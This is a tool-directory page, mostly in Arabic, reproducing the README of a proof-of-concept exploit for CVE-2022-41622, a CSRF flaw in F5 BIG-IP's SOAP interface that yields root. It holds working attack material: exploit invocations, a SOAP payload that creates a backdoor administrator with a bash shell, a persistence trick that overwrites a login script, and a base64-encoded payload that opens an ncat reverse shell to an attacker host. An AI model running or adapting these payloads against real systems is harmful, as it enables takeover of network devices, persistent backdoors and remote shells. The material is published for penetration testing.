Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
refreshing-soap-exploit — استغلال PoC لثغرة CVE-2022-41622 - ثغرة CSRF في مستوى التحكم في F5 BIG-IP تؤدي إلى صلاحيات جذر عن بُعد | Kitploit
أدوات/GitHubGitHub/rbowes-r7/refreshing-soap-exploit
تصعيد الامتيازاتآليات الاستمراريةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
تطوير الحمولات
GitHubrbowes-r7/refreshing-soap-exploit

refreshing-soap-exploit

استغلال PoC لثغرة CVE-2022-41622 - ثغرة CSRF في مستوى التحكم في F5 BIG-IP تؤدي إلى صلاحيات جذر عن بُعد

عرض المستودع
22513منذ 3 سنواتتمت المراجعة من قبل Kitploit

هذا إثبات مفهوم لثغرة CVE-2022-41622، وهي عبارة عن ثغرة CSRF في F5 Big-IP تؤدي إلى تنفيذ تعليمات برمجية عن بُعد. استخدام هذه الأداة صعب بعض الشيء، لكنني سأرشدك خلال حالات الاستخدام المفضلة لديّ.

الثغرة

الثغرة الأساسية هي تزوير طلب عبر المواقع (CSRF) في واجهة SOAP الخاصة بـ F5 Big-IP، والتي يتم الوصول إليها عبر /iControl/iControlPortal.cgi، وتعمل بصلاحيات root. ولكن على الرغم من العمل بصلاحيات root، فإننا مقيدون بسياسة SELinux، مما يجعل استغلال هذه الثغرة صعبًا. ومع ذلك، سنعرض بعض طرق الالتفاف أدناه.

واجهة SOAP لا تتمتع بأي حماية ضد CSRF، مما يعني أن المهاجم يمكنه استغلال جلسة مستخدم موثّق لتنفيذ أي طلب SOAP مدعوم. تم تضمين القائمة الكاملة لملفات WSDL، وأنشأنا حمولات (payloads) لبعض الملفات المهمة.

الاستخدام الأساسي

الاستخدام الأساسي هو:

ruby f5-soap-exploit.rb <target> <xml_template> [username:password]

إن username:password مخصص للاختبار فقط - فهو يأخذ حساب مدير صالحًا ويرسل طلب SOAP مباشرة إلى الخادم. هذا ليس استغلالًا أو إثبات مفهوم على الإطلاق، بل مجرد استخدام للنقطة الطرفية بالطريقة المقصودة.

إذا لم تقم بتوفير username:password، فستتم طباعة حمولة CSRF. لاستغلال الثغرة، يجب على مدير موثّق زيارة موقع يحتوي على تلك الحمولة. سيتم إعادة توجيه متصفحه وسيحدث الإجراء في الخلفية.

لاحظ أن الحمولات الفعلية ليست أنيقة أو مخفية بأي شكل - لاستغلال هذا الأمر فعليًا، ستحتاج على الأرجح إلى بذل بعض الجهد.

السيناريوهات

سوف نعرض هذه السيناريوهات باستخدام حساب فعلي، لكن تذكر أنه يمكنك استغلال أيٍّ منها باستخدام CSRF!

إضافة مستخدم root

هذا على الأرجح أسهل سيناريو للاستغلال. فهو يضيف حساب مستخدم بكلمة مرور، ويمكنك استخدام تلك الكلمة مرور لتسجيل الدخول عبر ssh. كما أنه ملحوظ بالطبع!

(كلمة المرور الافتراضية في الحمولة هي Password1)

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">

<item>
  <user>
    <name>mybackdoor</name>
    <full_name>My Backdoor</full_name>
  </user>

  <password>
    <is_encrypted>true</is_encrypted>
    <password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
  </password>

  <permissions>
    <item>
      <role>USER_ROLE_ADMINISTRATOR</role>
      <partition>[All]</partition>
    </item>
  </permissions>

  <login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
        xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>

$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]

[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root

شل عن بُعد @ تسجيل الدخول

وجدنا رابطًا رمزيًا (symlink) في /etc/profile.d غير مشمول بسياسة SELinux:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

يمكن استبدال timeout.sh، وفي المرة التالية التي يسجل فيها مستخدم الدخول، سيتم تنفيذ أي كود بداخله. لاحظ أن الكتابة فوق timeout.sh قد تسبب مشاكل، ولا فكرة لديّ عمّا يفترض أن يفعله (لكنه يُستعاد عند إعادة التشغيل).

سنستبدل timeout.sh بما يلي - في الأساس، استعادة ملف timeout.sh الأصلي ثم فتح شل (يمكنك أيضًا العثور عليه في مجلد examples/):

# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh

# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444

إليك الطلب / الاستجابة:

$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...
تنزيل الأداة